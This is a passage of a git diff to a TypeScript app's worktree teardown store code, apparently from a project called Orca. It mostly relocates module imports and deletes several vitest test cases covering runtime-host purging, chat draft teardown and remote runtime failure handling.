-    const store = createTestStore()
-    seedMaps(store)
-    store.setState((s) => ({
-      ptyIdsByTabId: {
-        ...s.ptyIdsByTabId,
-        [TAB2]: [...s.ptyIdsByTabId[TAB2], REMOTE_HANDLE1]
-      },
-      pendingPaneAccountRestarts: {
-        ...s.pendingPaneAccountRestarts,
-        [REMOTE_HANDLE1]: 'codex'
-      },
-      suppressedPtyExitIds: {
-        ...s.suppressedPtyExitIds,
-        [REMOTE_HANDLE1]: true
-      }
-    }))
-
-    store.getState().purgeWorktreeTerminalState([WT1])
-    const s = store.getState()
-
-    expect(s.suppressedPtyExitIds[REMOTE_PTY1]).toBeUndefined()
-    expect(s.pendingPaneAccountRestarts[REMOTE_PTY1]).toBeUndefined()
-    expect(s.suppressedPtyExitIds[REMOTE_HANDLE1]).toBe(true)
-    expect(s.pendingPaneAccountRestarts[REMOTE_HANDLE1]).toBe('codex')
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts b/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts
index 800bed7b539..40c0683a060 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts
@@ -6,11 +6,14 @@ import { translate } from '@/i18n/i18n'
 import { callRuntimeRpc } from '../../../../runtime/rpc/calls/runtime-rpc-call'
 import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner'
 import { toRuntimeWorktreeSelector } from '../../../../runtime/rpc/targets/runtime-worktree-selector'
-import { preservedBranchCleanupKey } from '../../../../../../shared/git/branches/preserved-branch-cleanup'
+import {
+  preservedBranchCleanupKey,
+  type PreservedBranchCleanup
+} from '../../../../../../shared/git/branches/preserved-branch-cleanup'
 import type { ForceDeleteWorktreeBranchResult } from '../../../../../../shared/worktree/create-types'
-import type { PreservedBranchCleanup } from '../../../../../../shared/git/branches/preserved-branch-cleanup'
+
 import { preservedBranchRuntimeTargetByCleanupKey } from './preserved-branch-cleanup-target'
-import { ambiguousWorkspaceOwnerMessage } from '@/lib/duplicate-paired-servers'
+import { ambiguousWorkspaceOwnerMessage } from '@/lib/workspace/ownership/duplicate-paired-servers'
 
 export function createForceDeletePreservedBranch(
   _set: WorktreeSliceSet,
diff --git a/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts b/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts
index 37c7d1e6c8f..a7b44607cb4 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts
@@ -27,7 +27,7 @@ import {
   dropConfirmedHostRow,
   resolveSameIdSurvivingHostId
 } from './host-qualified-worktree-row-removal'
-import { ambiguousWorkspaceOwnerMessage } from '@/lib/duplicate-paired-servers'
+import { ambiguousWorkspaceOwnerMessage } from '@/lib/workspace/ownership/duplicate-paired-servers'
 
 type PreservedBranchWorktree = Pick<Worktree, 'displayName' | 'isMainWorktree'> | undefined
 type RemoveWorktreeSliceResult = Awaited<ReturnType<WorktreeSlice['removeWorktree']>>
diff --git a/src/renderer/src/store/slices/worktrees/teardown/native-chat-launch-draft-teardown.test.ts b/src/renderer/src/store/slices/worktrees/teardown/native-chat-launch-draft-teardown.test.ts
index fba83e07b1c..29927ef75ae 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/native-chat-launch-draft-teardown.test.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/native-chat-launch-draft-teardown.test.ts
@@ -1,12 +1,7 @@
 /** Evict nativeChatLaunchDraftByTabId wherever launch prompt retires (close, orphan sweep, bulk/single purge); stranded drafts otherwise keep publishing to mobile. */
-import { afterEach, describe, it, expect, vi, beforeEach } from 'vitest'
+import { describe, it, expect, vi, beforeEach } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
 
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '../../tabs/tabs-drawn-from-main.test-fixture'
-
 vi.mock('sonner', () => ({
   toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
 }))
@@ -51,12 +46,7 @@ globalThis.window = { api: mockApi }
 import { createTestStore, seedStore } from '../../../testing/app-store-test-fixture'
 import { makeWorktree } from '../worktree.test-fixture'
 import { makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import { makeTabGroup, makeUnifiedTab } from '../../tabs/tab-group.test-fixture'
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
+import { readNativeChatComposerDraft } from '@/components/native-chat/drafts/native-chat-composer-draft-store'
 import {
   addNativeChatPendingAttachment,
   settleNativeChatPendingAttachment
@@ -91,15 +81,10 @@ function seedDrafts(store: ReturnType<typeof createTestStore>): void {
 }
 
 describe('nativeChatLaunchDraftByTabId teardown', () => {
-  let main: TabsDrawnFromMain | undefined
   beforeEach(() => {
     vi.clearAllMocks()
     mockApi.worktrees.remove.mockResolvedValue(undefined)
   })
-  afterEach(() => {
-    main?.close()
-    main = undefined
-  })
 
   it('a user tab close drops the uploads still on their way in that tab’s panes only', () => {
     const store = createTestStore()
@@ -117,64 +102,4 @@ describe('nativeChatLaunchDraftByTabId teardown', () => {
     expect(settled).toEqual([false, true])
     expect(readNativeChatComposerDraft(`${TAB1}:leaf-b`).images).toEqual([])
   })
-
-  function seedStructuredChat(store: ReturnType<typeof createTestStore>) {
-    const chat = makeUnifiedTab({
-      id: 'chat-tab',
-      entityId: 'session-1',
-      contentType: 'agent-session',
-      worktreeId: WT1,
-      groupId: 'group-1'
-    })
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({ id: WT1, repoId: 'repo1', path: '/path/wt1' }),
-          makeWorktree({ id: WT2, repoId: 'repo1', path: '/path/wt2' })
-        ]
-      },
-      unifiedTabsByWorktree: { [WT1]: [chat] },
-      groupsByWorktree: {
-        [WT1]: [
-          makeTabGroup({
-            id: 'group-1',
-            worktreeId: WT1,
-            activeTabId: chat.id,
-            tabOrder: [chat.id]
-          })
-        ]
-      }
-    })
-    return chat
-  }
-
-  it('closing a structured chat tab keeps its conversation’s unsent draft', async () => {
-    const store = createTestStore()
-    const chat = seedStructuredChat(store)
-    main = await drawTabsFromMain(store)
-    const conversation = structuredAgentSessionDraftScopeKey('session-1')
-    updateNativeChatComposerDraft(conversation, { text: 'unsent' }, 'immediate')
-
-    store.getState().closeUnifiedTab(chat.id)
-    await main.settle()
-
-    // Main's frame drops a workspace with no tabs left; the window keeps an empty list.
-    expect(store.getState().unifiedTabsByWorktree[WT1] ?? []).toEqual([])
-    expect(readNativeChatComposerDraft(conversation).text).toBe('unsent')
-  })
-
-  it('removing a worktree drops its structured chats’ conversation drafts only', async () => {
-    const store = createTestStore()
-    seedStructuredChat(store)
-    const removed = structuredAgentSessionDraftScopeKey('session-1')
-    const other = structuredAgentSessionDraftScopeKey('session-2')
-    updateNativeChatComposerDraft(removed, { text: 'unsent' }, 'immediate')
-    updateNativeChatComposerDraft(other, { text: 'kept' }, 'immediate')
-
-    const result = await store.getState().removeWorktree({ id: WT1, executionHostId: null })
-
-    expect(result).toEqual({ ok: true })
-    expect(readNativeChatComposerDraft(removed).text).toBe('')
-    expect(readNativeChatComposerDraft(other).text).toBe('kept')
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.test.ts b/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.test.ts
deleted file mode 100644
index a1d954bce73..00000000000
--- a/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.test.ts
+++ /dev/null
@@ -1,319 +0,0 @@
-/** Scope purge to removed runtime identities (#8881); retire owned catalog/tabs/detection while preserving local/SSH and never-saved runtime-stamped serving-local rows. Empty/unmatched diffs keep identity/epoch. */
-import { describe, it, expect, vi } from 'vitest'
-import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host'
-import { worktreeWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import type { ProjectHostSetup } from '../../../../../../shared/project-types'
-import type { DetectedWorktreeListResult } from '../../../../../../shared/worktree/types'
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: vi.fn(),
-  unregisterPtyDataHandlers: vi.fn()
-}))
-
-// @ts-expect-error -- minimal window.api stub for the store under test
-globalThis.window = { api: {} }
-
-import { createTestStore, seedStore } from '../../../testing/app-store-test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-import { makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import { TEST_REPO } from '../../../repos/repo.test-fixture'
-import '@/components/editor/save/flush/editor-pending-flush'
-
-const RUNTIME_A = toRuntimeExecutionHostId('env-a')
-const RUNTIME_NEVER_SAVED = toRuntimeExecutionHostId('env-serving-client')
-
-function setup(overrides: Partial<ProjectHostSetup> & { id: string }): ProjectHostSetup {
-  return {
-    projectId: 'p',
-    hostId: 'local',
-    repoId: '',
-    path: '/tmp',
-    displayName: 'setup',
-    setupState: 'ready',
-    setupMethod: 'existing',
-    createdAt: 0,
-    updatedAt: 0,
-    ...overrides
-  } as ProjectHostSetup
-}
-
-function detectedResult(
-  repoId: string,
-  worktrees: DetectedWorktreeListResult['worktrees']
-): DetectedWorktreeListResult {
-  return { repoId, authoritative: true, source: 'git', worktrees }
-}
-
-function detected(
-  id: string,
-  repoId: string,
-  hostId: ReturnType<typeof toRuntimeExecutionHostId> | 'local' | undefined
-): DetectedWorktreeListResult['worktrees'][number] {
-  return {
-    ...makeWorktree({ id, repoId, hostId }),
-    ownership: 'orca-managed',
-    selectedCheckout: true,
-    visible: true
-  } as DetectedWorktreeListResult['worktrees'][number]
-}
-
-describe('purgeStaleRuntimeHostState', () => {
-  it('purges the removed env and preserves local + never-saved runtime-stamped repos', () => {
-    const store = createTestStore()
-    const WT_A = 'repoA::/wt-a'
-    const TAB_A = 'tab-a'
-    seedStore(store, {
-      // Include never-saved runtime-stamped LOCAL row beside real removed runtime and local repos.
-      repos: [
-        TEST_REPO,
-        {
-          id: 'repoA',
-          path: '/repoA',
-          displayName: 'A',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_A
-        },
-        {
-          id: 'repoServing',
-          path: '/repoServing',
-          displayName: 'Serving',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_NEVER_SAVED
-        }
-      ],
-      projectHostSetups: [
-        setup({ id: 's-local', repoId: 'repo1', hostId: 'local' }),
-        setup({ id: 's-a', repoId: 'repoA', hostId: RUNTIME_A }),
-        setup({ id: 's-a-repoless', repoId: '', hostId: RUNTIME_A }),
-        setup({ id: 's-serving', repoId: 'repoServing', hostId: RUNTIME_NEVER_SAVED })
-      ],
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: 'repo1::/wt-local', repoId: 'repo1', hostId: 'local' })],
-        repoA: [makeWorktree({ id: WT_A, repoId: 'repoA', path: '/wt-a', hostId: RUNTIME_A })],
-        repoServing: [
-          makeWorktree({
-            id: 'repoServing::/wt-s',
-            repoId: 'repoServing',
-            hostId: RUNTIME_NEVER_SAVED
-          })
-        ]
-      },
-      detectedWorktreesByRepo: {
-        repoA: detectedResult('repoA', [detected(WT_A, 'repoA', RUNTIME_A)])
-      },
-      tabsByWorktree: { [WT_A]: [makeTab({ id: TAB_A, worktreeId: WT_A })] }
-    })
-
-    const paneKey = `${TAB_A}:leaf`
-    const previous = {
-      paneKey,
-      state: 'done' as const,
-      prompt: '',
-      updatedAt: 1,
-      stateStartedAt: 1,
-      stateHistory: [],
-      terminalResumeEligible: false as const
-    }
-    store.setState({ agentStatusByPaneKey: { [paneKey]: previous } })
-    const accepted = vi.fn()
-    const dispose = store.getState().subscribeAgentStatusChanges(accepted)
-    store.getState().purgeStaleRuntimeHostState(['env-a'])
-    expect(accepted).toHaveBeenCalledExactlyOnceWith([{ paneKey, previous, current: undefined }])
-    dispose()
-
-    const s = store.getState()
-    expect(s.repos.map((r) => r.id)).toEqual(['repo1', 'repoServing'])
-    expect(s.projectHostSetups.map((x) => x.id).sort()).toEqual(['s-local', 's-serving'])
-    expect(s.worktreesByRepo.repoA).toEqual([])
-    expect(s.detectedWorktreesByRepo.repoA.worktrees).toEqual([])
-    expect(s.tabsByWorktree[WT_A]).toBeUndefined()
-    expect(s.worktreesByRepo.repo1).toHaveLength(1)
-    expect(s.worktreesByRepo.repoServing).toHaveLength(1)
-  })
-
-  it('same-repoId-on-two-hosts: keeps an ambiguous unhosted row and the repo key', () => {
-    const store = createTestStore()
-    // repoId 'shared' exists under both local and runtime:env-a in worktreesByRepo.
-    seedStore(store, {
-      repos: [
-        { id: 'shared', path: '/shared', displayName: 'shared', badgeColor: '#000', addedAt: 0 },
-        {
-          id: 'shared',
-          path: '/shared',
-          displayName: 'shared',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_A
-        }
-      ],
-      worktreesByRepo: {
-        shared: [
-          makeWorktree({ id: 'shared::/wt-local', repoId: 'shared', hostId: undefined }),
-          makeWorktree({ id: 'shared::/wt-a', repoId: 'shared', hostId: RUNTIME_A })
-        ]
-      }
-    })
-
-    store.getState().purgeStaleRuntimeHostState(['env-a'])
-
-    const s = store.getState()
-    expect(s.worktreesByRepo).toHaveProperty('shared')
-    expect(s.worktreesByRepo.shared.map((w) => w.id)).toEqual(['shared::/wt-local'])
-    expect(s.worktreesByRepo.shared[0]?.hostId).toBeUndefined()
-  })
-
-  it('preserves worktree-scoped state when the exact same id survives on another host', () => {
-    const store = createTestStore()
-    const RUNTIME_B = toRuntimeExecutionHostId('env-b')
-    const worktreeId = 'shared::/same/path'
-    const tabs = [makeTab({ id: 'tab-surviving', worktreeId })]
-    seedStore(store, {
-      repos: [
-        {
-          id: 'shared',
-          path: '/shared',
-          displayName: 'shared',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_A
-        },
-        {
-          id: 'shared',
-          path: '/shared',
-          displayName: 'shared',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_B
-        }
-      ],
-      worktreesByRepo: {
-        shared: [
-          makeWorktree({ id: worktreeId, repoId: 'shared', hostId: RUNTIME_A }),
-          makeWorktree({ id: worktreeId, repoId: 'shared', hostId: RUNTIME_B })
-        ]
-      },
-      tabsByWorktree: { [worktreeId]: tabs },
-      lastVisitedAtByWorktreeId: {
-        [worktreeId]: 50,
-        [`${RUNTIME_A}|${worktreeId}`]: 100,
-        [`${RUNTIME_B}|${worktreeId}`]: 200
-      },
-      restoredRuntimeHostIdByWorkspaceSessionKey: { [worktreeId]: RUNTIME_B },
-      activeWorktreeId: worktreeId,
-      activeWorkspaceKey: worktreeWorkspaceKey(worktreeId)
-    })
-    const restoredOwners = store.getState().restoredRuntimeHostIdByWorkspaceSessionKey
-
-    store.getState().purgeStaleRuntimeHostState(['env-a'])
-
-    const s = store.getState()
-    expect(s.worktreesByRepo.shared).toHaveLength(1)
-    expect(s.worktreesByRepo.shared[0]?.hostId).toBe(RUNTIME_B)
-    expect(s.tabsByWorktree[worktreeId]).toBe(tabs)
-    expect(s.lastVisitedAtByWorktreeId).toEqual({
-      [worktreeId]: 50,
-      [`${RUNTIME_B}|${worktreeId}`]: 200
-    })
-    expect(s.restoredRuntimeHostIdByWorkspaceSessionKey).toBe(restoredOwners)
-    expect(s.restoredRuntimeHostIdByWorkspaceSessionKey[worktreeId]).toBe(RUNTIME_B)
-    expect(s.activeWorktreeId).toBe(worktreeId)
-    expect(s.activeWorkspaceKey).toBe(worktreeWorkspaceKey(worktreeId))
-  })
-
-  it('uses a removed host setup to purge an unhosted row before its repo loads', () => {
-    const store = createTestStore()
-    const worktreeId = 'repoA::/legacy'
-    seedStore(store, {
-      repos: [],
-      projectHostSetups: [setup({ id: 's-a', repoId: 'repoA', hostId: RUNTIME_A })],
-      worktreesByRepo: {
-        repoA: [makeWorktree({ id: worktreeId, repoId: 'repoA', hostId: undefined })]
-      },
-      tabsByWorktree: { [worktreeId]: [makeTab({ id: 'legacy-tab', worktreeId })] }
-    })
-
-    store.getState().purgeStaleRuntimeHostState(['env-a'])
-
-    const s = store.getState()
-    expect(s.projectHostSetups).toEqual([])
-    expect(s.worktreesByRepo.repoA).toEqual([])
-    expect(s.tabsByWorktree[worktreeId]).toBeUndefined()
-  })
-
-  it('uses an explicit surviving worktree row as owner evidence during catalog loading', () => {
-    const store = createTestStore()
-    const RUNTIME_B = toRuntimeExecutionHostId('env-b')
-    const legacyWorktreeId = 'shared::/legacy'
-    const survivingWorktreeId = 'shared::/host-b'
-    const tabs = [makeTab({ id: 'surviving-tab', worktreeId: legacyWorktreeId })]
-    seedStore(store, {
-      repos: [
-        {
-          id: 'shared',
-          path: '/shared-a',
-          displayName: 'A',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_A
-        }
-      ],
-      worktreesByRepo: {
-        shared: [makeWorktree({ id: legacyWorktreeId, repoId: 'shared', hostId: undefined })]
-      },
-      detectedWorktreesByRepo: {
-        shared: detectedResult('shared', [detected(survivingWorktreeId, 'shared', RUNTIME_B)])
-      },
-      tabsByWorktree: { [legacyWorktreeId]: tabs }
-    })
-
-    store.getState().purgeStaleRuntimeHostState(['env-a'])
-
-    const s = store.getState()
-    expect(s.repos).toEqual([])
-    expect(s.worktreesByRepo.shared.map((worktree) => worktree.id)).toEqual([legacyWorktreeId])
-    expect(s.detectedWorktreesByRepo.shared.worktrees.map((worktree) => worktree.id)).toEqual([
-      survivingWorktreeId
-    ])
-    expect(s.tabsByWorktree[legacyWorktreeId]).toBe(tabs)
-  })
-
-  it('preserves an unhosted row when a setup proves another host still owns it', () => {
-    const store = createTestStore()
-    const RUNTIME_B = toRuntimeExecutionHostId('env-b')
-    const worktreeId = 'shared::/legacy'
-    const tabs = [makeTab({ id: 'surviving-tab', worktreeId })]
-    seedStore(store, {
-      repos: [
-        {
-          id: 'shared',
-          path: '/shared-a',
-          displayName: 'A',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: RUNTIME_A
-        }
-      ],
-      projectHostSetups: [setup({ id: 's-b', repoId: 'shared', hostId: RUNTIME_B })],
-      worktreesByRepo: {
-        shared: [makeWorktree({ id: worktreeId, repoId: 'shared', hostId: undefined })]
-      },
-      tabsByWorktree: { [worktreeId]: tabs }
-    })
-
-    store.getState().purgeStaleRuntimeHostState(['env-a'])
-
-    const s = store.getState()
-    expect(s.repos).toEqual([])
-    expect(s.projectHostSetups).toHaveLength(1)
-    expect(s.worktreesByRepo.shared).toHaveLength(1)
-    expect(s.tabsByWorktree[worktreeId]).toBe(tabs)
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts b/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts
index 51a5f5dfbe3..d3480e344f3 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts
@@ -7,10 +7,10 @@ import { forgetStructuredSessionSelection } from '@/lib/agent-session/options/st
 import { settleAgentLaunchPaneStart } from '@/lib/agent-session/launch/pane/agent-launch-pane-start'
 import {
   getStructuredAgentSessionLaunchOwner,
-  shouldRetainStructuredAgentSessionLaunchTab,
-  structuredLaunchStates
+  shouldRetainStructuredAgentSessionLaunchTab
 } from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
-import { discardStructuredAgentSessionChatSends } from '@/lib/agent-session/launch/structured-agent-session-launch-prompt'
+import { structuredLaunchStates } from '@/lib/agent-session/launch/structured-agent-session-launch-state-store'
+import { discardStructuredAgentSessionChatSends } from '@/lib/agent-session/launch/structured-agent-session-staged-prompt'
 import { forgetUnlistedCreatedChat } from '@/lib/agent-session/launch/pane/structured-agent-session-unlisted-created-chats'
 import { readStructuredAgentLaunchRecords } from '@/lib/agent-session/launch/structured-agent-session-launch-persistence'
 import { retireStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner-registry'
diff --git a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts
index 85eaa9c0301..83bf95a996f 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts
@@ -4,7 +4,7 @@ import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type { WorktreeSliceSet } from '../listing/worktree-slice-types'
 import { removeDeleteStatesForWorktreeIds } from './worktree-delete-state'
 import { removeWorktreeVisitEntries } from '@/lib/workspace/activation/worktree-visit-recency'
-import { forgetAmbiguousOwnerWarnings } from '@/lib/ambiguous-owner-warning'
+import { forgetAmbiguousOwnerWarnings } from '@/lib/workspace/ownership/ambiguous-owner-warning'
 import { omitRecordKeys } from './record-key-omission'
 import { removeWorktreeLayout } from '../../tabs/worktree-layout-lifecycle'
 import { omitSleepingAgentSessionsForWorktrees } from './sleeping-agent-session-omission'
diff --git a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts
index d914bea13c5..898760bd9eb 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts
@@ -1,12 +1,9 @@
 import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id'
-import type { WorktreeSlice } from '../worktree-slice-contract'
-import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
-import type { RemoveWorktreeResult } from '../../../../../../shared/worktree/create-types'
 import { parseExecutionHostId } from '../../../../../../shared/execution-host'
 import { ensureHooksConfirmed } from '@/runtime/repo-hooks/ensure-hooks-confirmed'
 import { runtimeTargetForOwnerEnvironment } from '../../../../runtime/rpc/targets/runtime-client-target'
 import { forgetHugeRepoWarningDismissalsForWorktrees } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
-import { forgetWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import { forgetWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { readIpcErrorDetail } from '@/runtime/errors/ipc-error'
 import { isArchiveHookRemovalError } from '../../../../../../shared/worktree/archive-hook-removal-gate'
 import {
@@ -47,6 +44,9 @@ import {
 } from './worktree-state-before-removal'
 import { resolveWorktreeRemovalPreference } from './worktree-removal-preference'
 import { completePreservedBranchCleanup } from './complete-preserved-branch-cleanup'
+import type { WorktreeSlice } from '../worktree-slice-contract'
+import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
+import type { RemoveWorktreeResult } from '../../../../../../shared/worktree/create-types'
 
 export function createRemoveWorktree(
   set: WorktreeSliceSet,
diff --git a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts
index bf09f51bd52..11fc193a512 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts
@@ -1,3 +1,4 @@
+import { retireRemovedWorktreeTerminalNotices } from '../../../terminals/terminal-notice-removal'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import type { WorktreeCatalogVersion } from '../../../../../../shared/worktree/catalog-version'
@@ -16,7 +17,7 @@ import {
   flushPurgedWorkspaceEdits,
   type ConfirmedUnsavedDiscards
 } from './removed-workspace-unsaved-files'
-import { forgetDesktopCreatedServerTabsOf } from '@/lib/desktop-created-server-tabs'
+import { forgetDesktopCreatedServerTabsOf } from '@/store/workspace-layout/frames/desktop-created-server-tabs'
 import type { WorktreeStateBeforeRemoval } from './worktree-state-before-removal'
 
 /** After backend success: unregister browsers before other teardown, then dispose SSH relay only after terminals so mounted panes cannot hit a missing relay. */
@@ -99,6 +100,7 @@ export async function tearDownRemovedWorktreeRendererState(args: {
     requiredExecutionHostId ?? hostId,
     args.confirmedDiscards
   )
+  retireRemovedWorktreeTerminalNotices(beforeRemoval.terminalNotices)
   // Purge destroyed-target projects after row removal so selection clears with the row, not earlier.
   await purgeOrphanedRuntimeSshProjects(get, runtimeCleanup.destroyedSshTargetIds)
   get().removeWorkspaceSpaceWorktrees?.(
diff --git a/src/renderer/src/store/slices/worktrees/teardown/store-worktree-removal-cascade.test.ts b/src/renderer/src/store/slices/worktrees/teardown/store-worktree-removal-cascade.test.ts
index 6a461cb9e45..d2173923934 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/store-worktree-removal-cascade.test.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/store-worktree-removal-cascade.test.ts
@@ -1,6 +1,5 @@
 import { describe, it, expect, vi, beforeEach } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { getDefaultSettings } from '../../../../../../shared/constants'
 import { createCompatibleRuntimeStatusResponseIfNeeded } from '../../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
 import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../../runtime/rpc/compatibility/runtime-compatibility-cache'
 import 'sonner'
@@ -89,57 +88,4 @@ describe('removeWorktree cascade', () => {
     expect(mockApi.pty.kill).not.toHaveBeenCalled()
     expect(s.activeWorktreeId).toBe(worktreeId)
   })
-
-  it.each([
-    'Could not connect to the remote Orca runtime.',
-    'Remote Orca runtime closed the connection.',
-    'Timed out waiting for the remote Orca runtime to respond.'
-  ])(
-    'does not offer force delete for wrapped remote runtime failure: %s',
-    async (runtimeFailure) => {
-      const store = createTestStore()
-      const worktreeId = 'repo1::/path/wt1'
-      const error = `Error invoking remote method 'runtime-environments:call': Error: ${runtimeFailure}`
-      const displayed = runtimeFailure
-
-      mockApi.runtimeEnvironments.call.mockImplementation((args: { method: string }) => {
-        const compatibility = createCompatibleRuntimeStatusResponseIfNeeded(args)
-        if (compatibility) {
-          return Promise.resolve(compatibility)
-        }
-        if (args.method === 'repo.hooksCheck') {
-          return Promise.resolve({
-            id: 'rpc-hooks',
-            ok: true,
-            result: { hasHooks: false, hooks: null, mayNeedUpdate: false },
-            _meta: { runtimeId: 'remote-runtime' }
-          })
-        }
-        return Promise.reject(new Error(error))
-      })
-
-      seedStore(store, {
-        settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'env-1' },
-        worktreesByRepo: {
-          repo1: [makeWorktree({ id: worktreeId, repoId: 'repo1', hostId: 'runtime:env-1' })]
-        },
-        tabsByWorktree: {},
-        ptyIdsByTabId: {},
-        terminalLayoutsByTabId: {}
-      })
-
-      const result = await store
-        .getState()
-        .removeWorktree({ id: worktreeId, executionHostId: null })
-
-      expect(result).toEqual({ ok: false, error: displayed })
-      expect(store.getState().deleteStateByWorktreeId[worktreeId]).toEqual({
-        isDeleting: false,
-        error: displayed,
-        canForceDelete: false,
-        forceDeleteReason: null
-      })
-      expect(mockApi.worktrees.remove).not.toHaveBeenCalled()
-    }
-  )
 })
diff --git a/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts b/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts
index 1713e1fb2ae..d9b348a74a9 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts
@@ -1,10 +1,7 @@
-/** User deletion clears drafts using pre-RPC keys; host removal announcements may purge listings before reply, while non-user purges must retain drafts. */
 import { describe, it, expect, vi, beforeEach } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types'
 
 import '../../../../../../shared/execution-host'
-import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
 
 vi.mock('sonner', () => ({
   toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
@@ -97,10 +94,6 @@ function seedWorktree(store: ReturnType<typeof createTestStore>): void {
   seedWorkspace(store, WT1)
 }
 
-function draftTexts(): string[] {
-  return [CHAT, PANE, OTHER].map((key) => readNativeChatComposerDraft(key).text)
-}
-
 /** A pasted image still uploading in each scope; its chip's id is the scope's. */
 function pasteStillUploading(...scopeKeys: string[]): void {
   for (const scopeKey of scopeKeys) {
@@ -125,44 +118,6 @@ function trackDraftOwners(store: ReturnType<typeof createTestStore>): void {
   )
 }
 
-const FOLDER: FolderWorkspace = {
-  id: 'folder-1',
-  projectGroupId: 'group-a',
-  name: 'Folder',
-  folderPath: '/workspace/folder',
-  linkedTask: null,
-  comment: '',
-  isArchived: false,
-  isUnread: false,
-  isPinned: false,
-  sortOrder: 1,
-  lastActivityAt: 0,
-  createdAt: 1,
-  updatedAt: 1
-}
-
